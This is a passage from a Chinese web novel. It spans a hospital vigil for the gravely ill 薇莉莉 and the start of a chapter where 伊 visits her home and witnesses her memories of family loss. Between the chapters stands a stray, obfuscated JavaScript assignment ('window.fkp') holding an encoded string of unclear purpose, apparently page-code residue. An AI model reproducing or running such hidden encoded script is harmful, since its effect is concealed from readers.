话音刚落,无数个数字0突然出现在她的眼前,随即一切都归为了无尽的黑暗。 到了医院后,薇莉莉被送进了抢救室。在抢救室外,星北空一行人苦苦地等待。过了一会,一个医生从中走了出来。星北空见了,跑着迎了上去。星北空问医生: “情况怎么样?” 医生摇摇头,回答道: “病人情况很危急,抢救成功的可能性小于65%。” 星北空很担心地问医生: “那没有什么办法了吗?” 医生很委婉地回答道: “有。” 星北空对医生命令道: “那就用啊!” 医生询问星北空: “那种药物很贵,是一般人家负担不起的。” 星北空迅速掏出一张银行卡,一把塞到医生怀里。星北空十分霸气地告诉医生: “多少钱我都要了!今天无论如何你们都得想办法把她给我救活了!要是今天她死在你们这里,你们就等着调解人们给你们查水表吧!” 医生听他这口气,吓得不轻,立马点头答应。随即医生赶紧通知他的同事,拿来了医院里最好的药物去抢救薇莉莉。 做完这一切,星北空回到走廊的长椅旁,坐下去静静等待结果。伊这时走来,坐在了星北空的身旁。伊微笑着安慰星北空: “别担心,薇莉莉一定会没事的。” 星北空叹了口气,对伊说: “若是黎明未升起就落下,走天涯时怎能笑望世界。” “你意我知。” “伊小姐,有些话不方便在这里说,你跟我去大厅一趟。可以吗?” “行啊。” 然后星北空起身和伊一起到了医院的大厅,他们找了个僻静角落的长椅坐下。星北空看着天花板,一瞬之间想了很多。他无奈地叹了口气,心里的压力又增了几分。星北空用真诚的语气向伊恳求道: “伊小姐。你能在姐最后的那段时间里好好陪陪她吗?她恐怕已经时日无多,是将入黄泉之人了。我希望在她最后的这段时间里,能有位天使陪着她,让她走的时候别留太多遗憾。” 伊点了点头,很爽快地就答应了他。接着,星北空对伊嘱咐道: “请务必别跟姐较劲,她身体已经不如当年。她说你做什么,只要不太过分,你就做什么。她这傻姑娘做事没个分寸,请你见谅。” 伊点了点头。说完这些,星北空和伊回到了楼上,继续在急诊室旁走廊之中的长椅上等待结果。过了一会,茵萌萌火急火燎地赶了过来。到这的第一件事,她先去问星北空: “北子哥,姐的情况如何了?!” 星北空苦笑着告诉她: “还是比较乐观的。姐定会没事的,你不必太过于担心。” 说出这个答案时,星北空的心里也没底。茵萌萌坐在星北空的身旁,一脸担忧地对星北空说: “北子哥,你说姐会没事的对吧?” 星北空有些心虚地回应她: “对。她会没事的。” 茵萌萌闭着眼笑了笑,对星北空夸赞道: “这个时候,还得是你啊。姐身边有个你,真好啊!假如你要是哪天走了,姐肯定会伤心一阵子的。” 茵萌萌这么一说,星北空的眼神突然变得悲伤起来。他很快改变自己的状态,不让自己露出一丝破绽。在一旁站着的殇此刻发现了端倪,他感觉星北空的心里有其他事。 殇心想: “奇怪?这个蓝莓为何在那个绿藻说道离开时变了眼神呢?这其中一定有事!是什么事呢?” 太阳慢慢落下,时间飞速流逝。急诊室门前的人走走停停,唯独不变的是苦苦等待的星北空。下午四点的阳光照在星北空的身上,他的心里是难掩的不平静。时间过得越久,薇莉莉能生还的可能性越低。 星北空心里: “姐,请别再这个时候悄悄离开,萌萌和大家还在等你醒来呢!你的那些姐妹们都在担心着你呢,别让大家看到坏结局好吗?厄瑞波斯......塔纳托斯......阎王爷......放过她吧。起码晚点再收她也行啊!” 咯噔一声,急诊室的门打开了。听到声音的星北空,再难掩心中的急躁与担忧,立马起身跑着迎了上去。逮住其中一个医生,星北空问: “情况怎么样?!她还活着吗?” 医生点点头,星北空心里悬着的石头落下了。但紧接着医生又无奈地叹了口气,这让星北空不禁再度紧张起来。医生委婉地告诉星北空: “抢救成功了。可是......疾病对她身体的腐蚀已经超过的可控预期,能将她救活已经是奇迹。据我们科学推测,她只能再活一个月。而且这一个月内要天天服用伽马三(药品名),断了一天她就会命丧黄泉。请你们家属做好这个心理准备。” 星北空点了点头,他心里的石头彻底放下了。虽然结果没有太令他满意,但起码薇莉莉还活着不是吗?在去大厅交付医药费的路上,他鼻子一酸,眼角泛起星星点点的泪花。他的脑中浮现出了那个暴躁女孩的种种样子,有愤怒时的、有笑着时的、有关心人时的......就唯独没有伤心流泪时的。在他的印象中,那个暴躁女孩从来没有哭过、没有服过软、更没有气馁过,她永远是那么坚强,即便是知道了自己的死亡。 付完医药费之后,星北空独自一人守候在薇莉莉的病床前。心率仪的滴滴声回荡在空荡的病房之中,让星北空坐在床前的守候不再孤独。这声音象征了心跳,象征了一个人的生命的存在。星北空闭上眼睛静静感受这单调但此刻极其动听的声音,他的眼前慢慢出现了一片雪原。 雪原之中有位红发姑娘弹奏着钢琴,一朵朵玫瑰从雪下探出头来,在冰冷的白雪之中顽强生长。太阳照在红发姑娘脚下的土地上,红发姑娘和玫瑰一同沐浴在阳光中。随着弹奏的节奏,冰雪逐渐消融;沐浴着阳光的玫瑰茁壮成长,很快就有一朵绚丽绽放。紧接着更多的玫瑰绽放了,很快就在红发姑娘附近形成了一片美丽的玫瑰花丛。这时他才听出,红发姑娘弹奏的是生命的乐曲。 时间流逝,跟星北空一起守候薇莉莉的人逐渐变多。先是查尔拉和茵萌萌,然后是殇和伊,接着是与薇莉莉同族的红发男女,很快病房就挤满了人。随着时间流逝,病房里的人也越来越少,最后只剩下了星北空、茵萌萌、查尔拉、伊还有殇。 在半夜凌晨两三点的时候,其他人都睡了,唯独星北空还醒着。这时候他的电话振动了,他发觉可能是胡狼他们来电话了,就走到医院的卫生间中拨通了过去。听声音,电话那头是胡狼。胡狼的语气很着急,似乎有了什么大事。 胡狼着急地说: “少爷!少爷!” 星北空好奇地问道: “别急,好好说。发生什么事了。” 胡狼给星北空发了个邮件,星北空打开一看,瞬间被惊得目瞪口呆。那是源能核心的研制结果报告书,这是星北空苦思夜想的想要见到的。星北空的惊喜之情溢于言表,他此刻激动到了极点。星北空惊呼道: “终于见到黎明啊!美啊,真美啊!” 胡狼笑呵呵地说: “少爷,目前源能核心的初代版已经开始制造,很快少爷你就可以看到成品出现了!” “太好了!赞啊!” 但随后,他的这份激动慢慢被担心与不舍所替代。星北空心里挂念着薇莉莉,他不舍得现在就离开。若他现在离开,那么后果将不堪设想。他寻思了一会,决定在薇莉莉出院之后再悄悄离开。星北空问胡狼: “那个,胡狼。我能推迟些时日再离开吗?” “啊?少爷。早日离开能减少风险。你要是停留......我怕你出事。” “没关系的,就让我留几日吧。” “还有,少爷。那个治疗她的方法我们找到了,不过......” 听到胡狼这么说,星北空的眼中燃起了希望的火苗。星北空追问道: “嗯?不过什么?” “这得需要注射源能核心。” “那不是什么大问题,给她用!” “但问题就在这上啊!少爷。我们只确定了部分血型的人群能使用,那个小姐她......还都是未知数呢。” “我帮你弄到她的血型信息,你只管到时候给我拿来几支源能注射剂就行。” “少爷,你确定要给她使用吗?这样很可能会惹来很多麻烦的。” “麻烦?哼,本少爷不怕。大不了......我带她走!” “我知道了,少爷。遵从你的意志。” 挂断电话后,他回到了病房中,继续守候在薇莉莉的病床前。过了一个半小时,星北空熬不住了,就靠在椅子上睡着了。也就是在这时,薇莉莉的眼角流下了两颗晶莹剔透的泪珠。城市的霓虹与天上的夜空倒映在泪珠上,宛如嵌入了星辰一般。 殇悄悄从卫生间中走回了病房,他将身上的大衣脱下,盖在了星北空身上。他轻轻叹了口气,感慨这世界无情与面前这个男人的暖心。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第三十八话:在荆棘中生长,在荆棘中盛开(上) 通历43年8月5日,薇莉莉正式出院。 出院之后,薇莉莉变得比之前憔悴了许多。她的头发白了一大片,面色大不如前,本来还有血色的皮肤变得惨白,而且说话的语气完全没了之前的豪横。她出院后只能吃清淡的东西,而且每一顿的摄食量还要限量。不仅如此,她还得每日定时服用伽马三来维续自己的生命。之前她喜欢的烟、酒、辛辣物她都不能接触,否则就会危害到她的生命。 这样的生活她觉得很憋屈,但又不得不这么生活下去。 出院后的第二天,薇莉莉约伊去街上逛逛。伊没有拒绝,一口答应下来。之后伊和薇莉莉就挑了一条还算繁华的商业街,在那条街上闲逛。这是薇莉莉头一次闲下时间来逛街,她以前总是为了许多的人和事忙碌。在街上与伊闲逛的时候,她觉得仿佛身上的那些重担都消失了。 “头一次觉得这么轻松,真是怪呢。伊大妹子,跟你逛街感觉就是不太一样。” 薇莉莉微笑着对伊说道。伊也对她露出微笑,接着告诉她: “也许你忙碌惯了,闲下时间来休息就会觉得一身轻吧。” 薇莉莉突然拉起了伊的手,伊吓了一跳,但没有拒绝她。薇莉莉的手没有伊的手暖和,稍有些冰凉。感受到这一点的伊,感觉有些惋惜。薇莉莉拉住伊的手,和她一起在街上漫步。 眼前的这条街薇莉莉再熟悉不过了,这里承载了她很多的回忆。看着那些熟悉的牌坊,往事之中的幸福流入了她的心田。这条街是个对她来说陌生又亲切的地方,许多人和事她都是在这里记下的。 走着走着,薇莉莉望景生情,对伊倾诉道: “你的手可真暖和啊!这让我想起了当年的人和事。在我小时候,老妈就这么领着我和查尔拉在街上走。那时候感觉世界真大啊。可现在想来,整个世界确实很大,不过我的世界很小,我这辈子都没出过这个老城。” 伊点了点头,向她投来怜惜的眼神。她见了,无奈地一笑。这一笑,蕴含了太多。她继续说道: “这条街我跟太多人走过了。我的师傅也拉着我的手在这条街走过,还有我的男朋友瑞恩,以及更多我在乎的人。我是一天天长大,可那些熟悉的人却再也看不到了。他们都离我而去了,再也不会回来了。” 说到此处,她握紧了伊的手。她握的力气没有多大,伊能感受到。也许是她没用力,又或许是她力量过度衰弱。说到此处的她,本想从口袋里拿出烟盒吸一根烟,但她摸来摸去,才想起那烟盒早在她出门之前就扔掉了。她皱紧眉头骂了一句,然后无奈地叹气。薇莉莉对伊说: “我想,你应该是最后一个陪我走过这条街的人吧。” 听她这么一说,伊感觉有些难过。她点了点头,说道: “也许是吧。” 伊的回答让她感觉也有些难过。两人之间的氛围由轻松变得悲伤起来。这时候,伊露出了一抹甜甜的笑容,并对她说道: “既然是最后一次,那就别在难过中度过。笑起来吧,就让一切以最好的方式结尾吧。” 听到伊这么说,她的心里很是感动。她一把搂住了伊,笑着对伊说: “好!不能悲伤,要笑!” 伊笑着告诉她: “就让我在这最后陪伴你吧,薇莉莉。” 逛完街,她们两个去看了一场电影。看电影的时候,由于电影情节很感人,伊靠着薇莉莉的肩膀掉眼泪。薇莉莉那时也快落泪,但见伊靠在了自己肩上,就表现出最坚强的那一面,全程愣是把眼泪全憋回去了。走出影院的时候,薇莉莉还调侃了伊两句。 薇莉莉: “你看看你,看个电影就成了这个样子!真是怪丢人的。你整的我都不好意思了,我都不知道该怎么说你好了。” 伊: “嗯嗯。还是你够坚强,我都看哭了。你愣是一滴眼泪没掉。” 薇莉莉: “那可不是。作为强大的女战士,怎么能因这点小事就落泪呢?这会丢了斯特迪罗家族的颜面的!” 看完电影,两人去了一家粥店吃了午饭。吃午饭的时候,薇莉莉吐槽粥这类食物太过清淡,吐槽完出于饥饿还得吃。见薇莉莉这样,伊忍不住捂着嘴偷笑。薇莉莉见了,一脸严肃地问道: “你笑什么?” 伊摇了摇头,说: “没什么。” 吃过午饭,薇莉莉领着伊去了她的家。在进她家门前,她给伊指了下星北空的家和茵萌萌的家,并向伊好好评价了下他们两个。 薇莉莉: “星北空那家伙是个心地单纯的人,人挺好的,能说会道还很聪明,人长得也还不错。他就一个缺点,那就是‘烦人’。我需要安静的时候,他总会来烦我!而且老是给我拿一些垃圾来,都是我用不上的东西。” 伊: “那茵萌萌呢?” 薇莉莉: “茵萌萌啊,她是个阳光少女,爱说骚话。时不时能给我创造点惊喜,人还挺有意思的。她也挺烦人的,星北空说她是个cp头子,老是能给人搞的不好意思。不过吗......她能帮人疏通疏通情感什么的。有时还真他妈的让家族内的几对情侣成了婚事!真不知道她殇怎么做到的。” 伊: “哦。” “还有,萌萌总是觉得我和星北空那家伙很搭配,说什么红蓝能组cp。真是你妈的离谱。星北空那点条件还入不了我的眼,他有那个想法也不可能!你就想,我这样的人能他走到一起吗?” “我觉得可以呀。” “不!那不可能。——等等,先别聊这些了,先去我家里坐会吧。” 说完,薇莉莉打开房门,推门进去。伊见了,马上跟了上去。走进去,伊看到了薇莉莉家中的样子。薇莉莉的家中还算简朴,整体的装修风格也说得上是中规中矩;她家中的陈设还比较新,而且都挺符合时代的潮流。 进屋后,薇莉莉和伊坐在沙发上聊了会天。聊着聊着,薇莉莉突然头疼,而且整个人有些发昏。伊扶着她去了卧室。她从卧室内桌子上拿起药瓶,打开倒出一片药,然后一口服下。过了一会,她的头痛减轻了许多,但也因此整个人变得更加发昏了。 她捂着头,声音痛苦地对伊说: “伊,我先睡会。你要是饿了,冰箱里有吃的,你可以热一下......我挺不住了,我先倒下了......” 说完,薇莉莉一头栽倒在床上,立马就昏睡了过去。伊坐在她的床头上默默地守候着她,一直守候了半个多小时。半个多小时后,伊见她睡熟后没什么异常情况,就起身在屋内转了转。 在薇莉莉的卧室之中,伊看到了一柜子的收藏品。在这些收藏品之中,最让伊瞩目的是那几包茶叶和一块巧克力。伊回想起了在星北空记忆里看到的那些,这几包茶叶和那块巧克力在伊的眼中显得格外亲切。除此之外,伊还看到隐藏在收藏品之中的几张照片。那些照片上是薇莉莉在不同年龄与不同的人的合影,其中有三张是跟她一个发色的人的合影;一张是她和她的妹妹、一张是她和她妹妹以及她母亲、一张是她和一个红发小伙。看着这三张照片,再回想之前薇莉莉在街上跟她说的话,伊瞬间明白了很多。 伊: “他们一定是她最在乎的人。也许她很想念他们吧......” 离开薇莉莉的卧室,伊去了她屋子里的其他地方转悠。她先去了客厅。她看到客厅的墙边放着几把武器,她来的时候竟然没有注意到。她走到这几把武器前仔细一看,她能认出来的只有长刀、长枪、碎骨锤、双节棍、武士刀,其他的她都见过但叫不上名来。 伊: “看来,薇莉莉是个货真价实的女战士啊!” 看完武器,伊又在客厅的茶几处发现了她进来时未曾注意的东西。她无意间拉开茶几的抽屉,惊奇地发现里面有一把手枪和几颗子弹。伊拿起这把手枪看了看,发现是温切斯公司的正版货,上面还有个防伪的G字认证。 伊: “手枪!想不到薇莉莉家里还有这种奢侈东西。” 拿起这把枪后,抽屉里的一本相册露了出来。伊看到了这本相册,于是将手枪小心翼翼地放在茶几上,然后拿起相册翻开瞧了瞧。相册里是薇莉莉从小到大的照片,还有几张是薇莉莉获奖时的照片。翻到最后,是一张真正的全家福。照片中薇莉莉的母亲抱着还是婴儿的查尔拉,薇莉莉的父亲戴着斗笠蒙着脸,抱着年幼的薇莉莉。看着这张全家福,伊不禁心生疑问。薇莉莉的父亲是谁?为何他在拍全家福时要以蒙面方式去拍摄? 伊: “奇怪,为什么薇莉莉的父亲要蒙着面去拍摄全家福呢?难道他有什么见不得人的身份吗?” 看过相册,伊将抽屉里的一切恢复成原样,然后就去厨房那边看了看。薇莉莉的厨房如正常人家的一般,没什么突出的地方。当伊打开冰箱的时候,一阵冰冷且辛辣的味道扑面而来。薇莉莉的冰箱里放了很多辣料、辣椒、鸡蛋以及放在保鲜袋里的肉,除此之外还有个四五瓶啤酒。伊赶忙关上了冰箱门,那辛辣的味道让伊有些不适。 伊: “想不到薇莉莉口味竟然这么独特!” 离开厨房之后,伊来到了后屋。薇莉莉的后屋被薇莉莉用作了仓库,这里存放了大量的闲置物品与私人物品。在这之中,首先引起伊注意的是一把摩托车的车钥匙。这把车钥匙伊认得,她从星北空记忆的片段中看到过。那时候星北空刚来这里不久,薇莉莉那时还有着骑摩托的爱好。 其次引起她注意的是墙上挂着的一张巨大海报,海报上是大名鼎鼎的野狼乐队。海报上的齐百陵被用红笔圈起来了,同时在海报底下还写着一行小字:“我所崇拜的偶像”。这张海报看起来放了三年多了,这底下的字貌似是在这海报贴下来的那天写上的。 伊: “看来,薇莉莉将齐百陵视作了偶像。也许齐百陵后来干的那些事,让薇莉莉这个女战士能够崇拜他吧。” 离开了后屋,伊的瞳色变成了金黄色,她再次感觉到了那股熟悉的能量。伊闭上眼睛感受,发现那股力量指引着伊去薇莉莉的卧室。伊按照这股能量的指引,回到了薇莉莉的卧室之中。奇异的光芒在此刻显现,顿时间整个屋子被温暖所覆盖。温暖的光芒之中,浩渺星空在其间闪烁。 伊坐在薇莉莉的床上,深情地看着熟睡之中的她。伊伸出手,轻轻地抚摸薇莉莉的手。伊的手落在她惨白色的肌肤上,触摸时没感觉到几分温度。那种冰冷接近于尸体,是迫近于凋零的预兆。此时伊心里是非常难受,她用治疗之力去治疗薇莉莉,但效果甚微。该来的她改变不了,除了为薇莉莉感到惋惜,伊没有任何事可为她做。 不知不觉,伊握住了薇莉莉的手。伊用自己的体温去温暖她冰冷的手,想再为她做出一些力所能及的贡献。奇异的光芒在此刻凝聚,为伊的意识疏通了桥梁。随着眼前一道白光闪过,一个人的一生浓缩成一部影片,在伊的眼前开始播放。 薇莉莉的回忆: 那年,我十六岁。在我的老家北方城镇,我和查尔拉苦苦等待妈妈回来。此时已经是半夜,我和查尔拉还未见妈妈回来,都害怕地躲在被窝里。这家里总共就我和妹妹还有妈妈三个人,要是妈妈出了事,我们两个还不知该怎么办。等着等着,查尔拉因为害怕,就在被窝里抹眼泪。作为家里的大姐,我自然得去安慰她,别让她哭泣,告诉她妈妈肯定没事,尽我所能的去安慰她的情绪。 我这辈子最讨厌看人哭了,尤其是跟我关系要好的人哭!不是因为他们哭的样子难看,而是他们哭的时候我会心疼。 查尔拉比我小三岁,但还是挺懂事的,我安慰了一会她就不哭了。等到了凌晨的时候,家里的灯突然亮了起来。我和查尔拉见了,高兴地不得了。我俩从被窝里爬出,穿上拖鞋就跑出了卧室。我俩到了客厅一起去喊“妈妈”,然后我俩都一把扑进了妈妈的怀里。妈妈见我俩这样,赶忙安慰我俩的情绪。当时抱紧妈妈的时候,我高兴得差点就哭出来了。 妈妈将一个小包放在了沙发上,并向我俩解释了今天为何晚归。原来,妈妈今天下午接到了一个大委托,为了处理委托才这么晚回来的。除此之外,妈妈还告诉我们:她遇到了爸爸,而且还跟爸爸吃了顿饭。告诉完我们那些,妈妈打开那个小包,把里面精美的礼物都拿了出来。妈妈告诉我们,这都是爸爸给我们买的。 我们俩自然是很高兴。但高兴的时候,我问了妈妈一句:“为什么爸爸不回家呢?”妈妈闭口不答,向我们撒了一个善意的谎言,说是爸爸很忙。但其实我们俩都知道,爸爸不是忙,只是单纯不想回这个家。我们俩都不知道爸爸是怎么想的,也许爸爸他有他的理由吧,但无论如何,爸爸这种不顾家的行为让我唾弃! 在那些礼物之中,唯独有一件礼物让我印象深刻。那是一块精密包装的高档巧克力,上面用的包装纸上有着华丽的花纹,那是我从未见过的华丽之物。据妈妈说,这块巧克力很贵,能顶妈妈半个多月的工钱。而且妈妈还说这块巧克力是爸爸从穹顶区买来的,是专门为了我们俩而准备的。虽然我们俩有些记恨爸爸,但拆礼物的时候还是很开心。 我相信爸爸是爱我们的,只是有理由回不来这个家。 准备吃那块巧克力的时候,我先给查尔拉掰下了一块,让她先尝尝。查尔拉虽然年纪小,但懂的事却很多。她知道这块巧克力非常昂贵,就捧着先给了妈妈吃。妈妈没要,骗我们爸爸还给她买了一块。我们两个那时候很单纯,轻易就信了妈妈的话。至于说为什么是骗......因为后来据我调查所知,爸爸那时候就只买了一块巧克力。 吃巧克力的时候,查尔拉傻乎乎地捧着我给她掰的那块巧克力,姿势老虔诚了!就像是供奉什么神明一样。她迟迟不吃,就是像看一块宝石一样痴痴地看着那块巧克力。我在一旁乐够呛,看着她捧腹大笑。她见我笑话她,撅起嘴来,满是不解地看着我。妈妈也在一旁笑,查尔拉见了,先是不解地说了几句,然后傻呵呵地跟着我们一起笑了。 笑完,我掰下一块来,放在了嘴里好好品尝了一番。那味道让我印象深刻,甜里带着苦,还有着芬芳的可可香。它比糖要甜很多倍!那味道我终生难以遗忘,我的童年就是在这味道中度过的。甜中带点苦。 吃过那块巧克力,我还想再吃第二次。我深知家里穷,这一次吃完,就可能这辈子再没有第二次,因此我将这味道藏在了心里。在我伤心哭泣的时候回味起那个味道,我倒也能觉得心情好受些。 童年,是段美好的日子。可我的童年却不怎么美好。我的童年是伴随着许多苦痛的童年,是每个都市猎人子嗣所度过的童年。正如那伴随我一生的味道一样,甜里带着苦。 在遇到什么危险的事的时候,我总是害怕地躲在大人身后流眼泪,那时的我除了会哭,别的也做不了什么,只是个离不开大人的、脆弱的小姑娘。那时候我没少哭过,我猜我那时流的泪都能够让我泡个几天澡的了。我曾亲眼看到过我许多亲戚的尸体躺在白布下,也曾亲眼目睹过很多人在我眼前被杀掉。杀人的人是那么无情,下手是那么干净利落。若不是我只是个孩子,也许我也会成了他们刀下的亡魂。 我害怕呀!我害怕那样冷血无情的人,我害怕看到别人的死去,我害怕我会成为被杀死的那个人!那骨肉断裂的声音让我无时不刻都在感觉害怕,那鲜血喷溅的景象让我总被噩梦缠身!我害怕呀!我身旁能保护我的人只有我的妈妈,我害怕有一天我妈妈也会以那种方式离我们而去。如果妈妈那天离我们而去,我和查尔拉将成为无依无靠的孤儿,在这个冷酷无情的世界里我们两个只能被黑暗蚕食殆尽。 “要么成为制造梦魇的猎手,要么成为被梦魇收割的猎物。” 这是这个世界的法则,是我和查尔拉必须面对的、接受的、理解的真正王道。顺大道者生,逆大道者死!我和查尔拉的童年和那些都市猎人的子嗣一样,都是在对死亡恐惧的梦魇中度过的。 童年之中,我一直在祈求爸爸的帮助,可爸爸自始至终未现身过一次,就连一句问候都没有。想爸爸的时候还是有的,想了,就翻开相册,看看我们家的全家福。只是很可惜,全家福上的爸爸是蒙着脸的,我不知道爸爸究竟长什么样子,也没机会知道。虽然我记恨着爸爸,但我还是期待爸爸回来。因为我的家只要再加上一个爸爸,那就是真正的一个完整的家了。有了爸爸和妈妈的保护,我和妹妹就再也不会害怕外面的那些人了。我曾幻想过那样的日子,幻想过那样的我会是怎样的幸福。可每当幻想结束,我是会感觉到现实的残酷。 为了保护妹妹,我开始寻求让自己变强大的方法。后来,爸爸的一个朋友主动找到了我,并开始免费教我练武。他是我的第一个师傅,有个很好听的名字,叫泰尔斯。我拜他为师,他收我为弟子。在练武的过程中,我逐渐从一个娇弱的小女孩变成了一个坚强的女战士。我的进步让我的师傅满意,也让所有看好我的人满意,其中也包括我的妹妹。 每当我的妹妹找我哭诉,说是别人欺负她时,我总会帮她出气,尽管有时我也打不过对方。就在这样一次次的历练之后,我也逐渐展现出了我天生的战斗天赋。实力增长的越来越快,从一对一暴打对方慢慢升级到了一对十游刃有余。我变强了,我说话的态度也硬气了,甚至硬怼街上的小流氓,对方都不敢还嘴的。我的妹妹在我的保护下避开了很多危险,而且在我的训练下也变得比之前强大起来。 在我成人那年,许久未曾回家过的爸爸回了家。妈妈那时见爸爸回来高兴坏了,我从未见妈妈那么高兴过。等见到爸爸本人时,他还是把自己的脸遮的严严实实的,就怕别人认出他真正的身份。那时候我还不知道爸爸叫什么名字,只知道我有个不称职的爸爸。 这次回来,爸爸为我准备了一份特殊的成人礼,同时似乎他是为了图个省事,也将查尔拉的成人礼准备好了。我的成人礼是一个高等级的Emd核心装置。我非常喜欢,因为这个玩意是我一直都想要的大宝贝。我欣然收下了这份礼物,并向爸爸说了我这辈子只对他说过一次的谢谢。爸爸见我高兴,他也高兴。即使隔着厚重的遮面物,我也能听到爸爸的笑声。 爸爸只待了一个下午,到夜幕降临的时候又准备要走。我和查尔拉一起去挽留爸爸,但爸爸很无情,不顾我们的阻拦与挽留,撒手就走。我当时气坏了,不理解爸爸的行为。自打那时起,我对爸爸的印象就坏了起来。 查尔拉成人那年,爸爸没有回来。查尔拉很伤心,我更伤心。查尔拉的成人礼也是一个高等级的Emd核心装置,我感觉这其中有爸爸偷懒的成分,但那只是感觉,毕竟这Emd是很贵的东西,爸爸给我和查尔拉一人买一个也是很合理的事情。 就在查尔拉成年的第二年,妈妈得上了一种怪病,半年之内就走不动路了。我那时是刚入门的都市猎人,我靠自己的努力给妈妈赚钱治病;查尔拉也去找了工作,也赚钱给妈妈治病。但治疗妈妈所需的钱对我们家庭来说是天文数字,我们两个短时间内根本弄不来,也没能力弄来。在妈妈被病痛折磨了大约有半年的时候,妈妈似乎是感觉到自己命不久矣,于是在那一天将我和查尔拉唤回了身边。我们一直陪着妈妈,陪伴她走过了人生中的最后三个日夜。那时候,妈妈有对我们说不尽的话,我们对妈妈也有说不尽的话。想说的话,那时候我们和妈妈都没机会说完了。 在妈妈最后的三天中,我们是在沉痛中度过的。当我们守候在妈妈床边的时候,我和查尔拉总会落泪,我们是真的舍不得妈妈离开。我们只能眼睁睁地看着妈妈一天天消瘦下去,看着妈妈头发一天天变白,最后逐渐脱落得什么也不剩。那三天如同三十年,妈妈从一个四十岁的中年人变成了七十多岁的老年人。那衰老的速度肉眼可见,可怕到让我和查尔拉不敢去想,一想就害怕的要死。从妈妈得病开始,我和查尔拉就用尽一切办法寻求帮助,但能回应我们的少之又少,我们甚至还遇到过骗子!那三天,我们能感受到的只有绝望与无助,还有这个世界的冷漠。 在彻底与世长辞之前,妈妈最后一次将我们姐俩唤回到身旁。似乎是妈妈感觉到了死亡将至,妈妈让我们姐俩一刻也不离开她,就静静地陪着她走完这最后的一段路。我和查尔拉在床边已经哭成了泪人,妈妈也想跟着我们一起落泪,可妈妈的眼角早已干涸,就是一滴泪水也流不出来。妈妈能做的事,就是用骨瘦如柴的手轻轻抚摸我和查尔拉的手。妈妈想拉紧我们的手,但却怎么也使不上力气。 正午的光芒照在了妈妈的身上,仿佛是一道冥界投来的光,在呼唤妈妈的灵魂离开。凋零气息顺着这道光闯进来,随后弥漫在屋内,肆虐在屋内。临终之前,妈妈用尽最后的力气,十分不舍地对我和查尔拉说道: “薇莉莉,你要照顾好妹妹,别让妹妹受委屈......还有,别记恨你们的爸爸,他是爱你们的,只是有责任在身......回不来这个家啊!记住......孩子们,你们的爸爸叫耿......天.......” 说完这句话,我的母亲就离开了人世。我和妹妹相拥着嚎啕大哭,哭了不知有多长时间,才勉强恢复情绪,给妈妈操办了下葬的事。在那之后,我和查尔拉都成长了许多,都变得坚强与果断了。失去妈妈的痛,一直留在我和查尔拉的心中。 虽然妈妈说不要去记恨爸爸,但我和查尔拉都记恨着爸爸。在妈妈下葬的时候,爸爸突然来了。看到爸爸现身的时候,我和查尔拉再也控制不住情绪,上前就要去揍爸爸。要不是周围的人拦着,我和查尔拉就真的和爸爸打起来了。那时候我什么也没顾及,大声地质问爸爸: “你还有脸回来?!你这个混账!他妈的混账!妈妈那阵子痛苦的时候,你去哪里了?!我和妹妹一直陪着妈妈到妈妈离世,你呢?你去哪了?!妈妈那时候有多痛苦你知道吗?!还有脸回这个家,你要脸吗?!” 我的质问似乎刺痛了爸爸的心,他没说话,只是在妈妈墓前深深的鞠了个躬,然后献上了一朵美丽的玫瑰。之后看了我和查尔拉一眼,就伤心地离开了。面对妈妈的死,爸爸似乎也很自责。等我们都走了,爸爸迎着日落又回到了这里。那时候我舍不得妈妈离开,就想回来再看几眼,正巧就看到爸爸在妈妈墓前一动不动地站着。我看爸爸这样,我气不打一处来,本想着上前去将他赶走,但转念一想,我还是心软了。我悄悄地看着爸爸,看着他一直在墓前徘徊到太阳落山。我想,爸爸此时一定很伤心吧。白天被我和查尔拉那么一弄,不仅没了颜面,还没了与妈妈正式告别的机会。 地平线处的太阳落下了,爸爸也头也不回地离开了。我回到妈妈墓前,惊奇地发现了爸爸写给妈妈的一封信。我仔细看了看这封信,每个字都倾注了爸爸的情感,言语之间透露着爸爸对妈妈的愧疚与思念。我收起这封信,心情很是复杂。我回头去看爸爸离开时走的路,已经见不到爸爸的身影了。家里最神秘的父亲,我欠他一句道歉。 那次回来之后,直到现在,爸爸再未回来过一次。也许是爸爸有什么难言之隐,就像妈妈说的那样。又或许爸爸是没有脸面去面对我和查尔拉、以及这个家吧。 妈妈死后,我和妹妹离开了老家,在亲戚的介绍下步入东城。进东城之后,我和妹妹因为妈妈是家族话事人的缘故,很快就被斯特迪罗家族的人所接纳。到了家族之后,我和妹妹的生活稍稍变好了一些。家族里的人都是像我和妹妹一样的红发人,后来经家族内其他话事人介绍,我才知道这样红头发的人都是一个名为铆犽天真的民族的族人。 同族人和同族人处得来,我和妹妹很快就融入了这个大家庭之中。家族内民风淳朴,非常对我的口味。进入家族之后,我学会了喝酒、抽烟、骂人、揍人。虽然都不是什么好习惯,但在家族的大背景下,这些习惯的好坏也都无所谓了。毕竟与家族的人来往,不会这些是不行的。 家族里的人很热情,请人吃饭都是常事。偶尔谁心情好了,或是谁家有喜事了,就会清家族里的人吃饭。当然不是全都请,只是请与那人关系好的。 家族里的人虽然都不富裕,但家族内只要谁家出事,都会各自奉献点钱,帮那家度过劫难。家族里的人都很仗义,要是族人被欺负了,只要一句话,家族里的人就会为之赴汤蹈火。家族里的话事人很负责任,只要跟家族有关的事,话事人统统处理。若是有人要危害家族的利益,话事人第一个站出来不让,以身作则,话事人在外面象征的可是家族的脸面。 在这样的家族中生活,虽然生活穷一点吧,但我的每一天都能过得快乐一些。毕竟家族里有那么多热心肠的大老爷们和姐妹们,有啥事了还能依靠着他们点,起码在家族里有个归属感和安全感,不用在外面被风吹日晒的。我很难想象,在这个世界里独自生存的人到底会有多难。那个名叫齐百陵的男人,我很佩服他。能在这世界中独自前行已经是件很难的事情了,在这种情况下成为强者,更是一件难如登天的事情! 在我二十三岁那年,我师傅出事了。 